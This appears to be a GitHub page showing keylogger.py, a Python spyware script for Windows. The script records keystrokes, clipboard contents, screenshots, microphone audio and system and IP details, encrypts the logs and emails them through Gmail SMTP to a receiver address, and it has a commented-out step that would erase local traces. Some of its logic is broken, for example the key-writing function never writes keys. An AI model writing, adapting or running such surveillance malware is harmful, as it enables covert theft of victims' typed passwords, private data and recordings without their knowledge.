-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
213 lines (164 loc) · 6.14 KB
/
Copy pathkeylogger.py
File metadata and controls
213 lines (164 loc) · 6.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
# Libraries
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import sys
import socket
import time
import platform
import os
import win32clipboard
from pynput.keyboard import Key, Listener
from scipy.io.wavfile import write
import sounddevice as sd
from cryptography.fernet import Fernet
import getpass
from requests import get
from multiprocessing import Process, freeze_support
from PIL import ImageGrab
# Paths and filenames
keys_information = "keys_log.txt"
system_information = "systeminfo.txt"
clipboard_information = "clipboard.txt"
audio_information = "audio.wav"
screenshot_information = "screenshot.png"
keys_information_encrypt = "keys_encrypt.txt"
system_information_encrypt = "systeminfo_encrypt.txt"
clipboard_information_encrypt = "clipboard_encrypt.txt"
microphone_time = 10
time_iteration = 5
no_of_iterations_end = 3
email_address = "sender-gmail@gmail.com"
password = "sender-password"
username = getpass.getuser()
toaddr = "receiver-gmail@gmail.com"
key = "generated-key"
file_path = "file-path-of-project"
encrypted_directory = "file-path-to-save-encrypted-files"
extend = "\\"
file_merge = file_path + extend
# Email controls
def send_email(filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "Body of the mail"
msg.attach(MIMEText(body, 'plain'))
with open(attachment, "rb") as file:
attachment_data = file.read()
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment_data)
encoders.encode_base64(part)
part.add_header('Content-Disposition', f"attachment; filename= {filename}")
msg.attach(part)
try:
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, password)
server.sendmail(fromaddr, toaddr, msg.as_string())
server.quit()
print("Email sent successfully!")
except Exception as e:
print("Failed to send email:", str(e))
# Send initial email with key log
send_email(keys_information, file_path + extend + keys_information, toaddr)
# Get computer information
def computer_information():
with open(file_path + extend + system_information, "w") as f:
hostname = socket.gethostname()
IPAddress = socket.gethostbyname(hostname)
try:
public_ip = get('https://api.ipify.org').text
f.write("Public IP Address: " + public_ip + '\n')
except Exception:
f.write("Failed to get Public IP Address")
f.write("Processor: " + (platform.platform()) + '\n')
f.write("System: " + (platform.system()) + " " + platform.version() + '\n')
f.write("Machine: " + (platform.machine()) + '\n')
f.write("Hostname: " + hostname + '\n')
f.write("Private IP Address: " + IPAddress + '\n')
computer_information()
# Get clipboard contents
def copy_clipboard():
with open(file_path + extend + clipboard_information, "a") as f:
try:
win32clipboard.OpenClipboard()
pasted_data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
f.write("Clipboard Data: \n" + pasted_data)
except:
f.write("Failed to copy Clipboard")
copy_clipboard()
# Get microphone audio
def microphone():
fs = 44100
seconds = microphone_time
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
sd.wait()
write(file_path + extend + audio_information, fs, myrecording)
# Get screenshots
def screenshot():
im = ImageGrab.grab()
im.save(file_path + extend + screenshot_information)
# Timer for keylogger
no_of_iterations = 0
currentTime = time.time()
stoppingTime = time.time() + time_iteration
while no_of_iterations < no_of_iterations_end:
count = 0
keys = []
def on_press(key):
global keys, count, currentTime
print(key)
keys.append(key)
count += 1
currentTime = time.time()
if count >= 1:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open(file_path + extend + keys_information, "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write("\n")
f.close()
def on_release(key):
if key == Key.esc:
return False
if currentTime > stoppingTime:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if currentTime > stoppingTime:
with open(file_path + extend + keys_information, "a") as f:
f.write(" ")
screenshot()
send_email(screenshot_information, file_path + extend + screenshot_information, toaddr)
copy_clipboard()
no_of_iterations += 1
currentTime = time.time()
stoppingTime = time.time() + time_iteration
# Encrypt files
files_to_encrypt = [file_merge + system_information, file_merge + clipboard_information, file_merge + keys_information]
encrypted_files = [encrypted_directory + system_information_encrypt,
encrypted_directory + clipboard_information_encrypt,
encrypted_directory + keys_information_encrypt]
for i, encrypting_file in enumerate(files_to_encrypt):
with open(encrypting_file, "rb") as f:
data = f.read()
fernet = Fernet(key)
encrypted_data = fernet.encrypt(data)
with open(encrypted_files[i], "wb") as f:
f.write(encrypted_data)
send_email(encrypted_files[i], encrypted_files[i], toaddr)
# Clean up and delete files
# delete_files = [system_information, clipboard_information, keys_information, screenshot_information, audio_information]
# for file in delete_files:
# os.remove(file_merge + file)
sys.exit()